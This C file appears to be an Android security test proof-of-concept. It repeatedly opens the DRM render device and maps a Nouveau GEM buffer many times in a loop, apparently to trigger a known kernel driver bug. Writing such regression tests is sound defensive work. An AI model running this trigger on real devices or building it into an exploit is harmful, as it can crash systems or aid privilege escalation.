| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <fcntl.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <sys/prctl.h> |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include "local_poc.h" |
| #include "../includes/common.h" |
| #define DRMDEV_NAME "/dev/dri/renderD128" |
| #define MAX_MAPS 10 |
| |
| static int drm_version(int fd) { |
| struct drm_version ver; |
| ver.name_len = 100; |
| ver.date_len = 100; |
| ver.desc_len = 100; |
| |
| ver.name = (char*)malloc(ver.name_len); |
| ver.date = (char*)malloc(ver.date_len); |
| ver.desc = (char*)malloc(ver.desc_len); |
| |
| if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) { |
| close(fd); |
| exit(EXIT_FAILURE); |
| } |
| return 0; |
| } |
| |
| static uint32_t nouveau_gem_ioctl_new(int fd) { |
| struct drm_nouveau_gem_new new_arg; |
| |
| memset(&new_arg, 0, sizeof(new_arg)); |
| |
| new_arg.info.size = 0x1000; |
| new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART; |
| |
| if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) { |
| close(fd); |
| exit(EXIT_FAILURE); |
| } |
| return new_arg.info.handle; |
| } |
| |
| static void nouveau_gem_ioctl_map(int fd, uint32_t handle) { |
| struct drm_nouveau_gem_map map_arg; |
| memset(&map_arg, 0, sizeof(map_arg)); |
| map_arg.handle = handle; |
| map_arg.length = 0x1000; |
| |
| if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) { |
| close(fd); |
| exit(EXIT_FAILURE); |
| } |
| } |
| |
| int main() { |
| int fd; |
| time_t test_started = start_timer(); |
| |
| while (timer_active(test_started)) { |
| fd = open(DRMDEV_NAME, O_RDWR); |
| if (fd < 0) { |
| return -1; |
| } |
| |
| drm_version(fd); |
| |
| uint32_t handle = nouveau_gem_ioctl_new(fd); |
| |
| for (int i = 0; i < MAX_MAPS; i++) { |
| nouveau_gem_ioctl_map(fd, handle); |
| } |
| close(fd); |
| } |
| return 0; |
| } |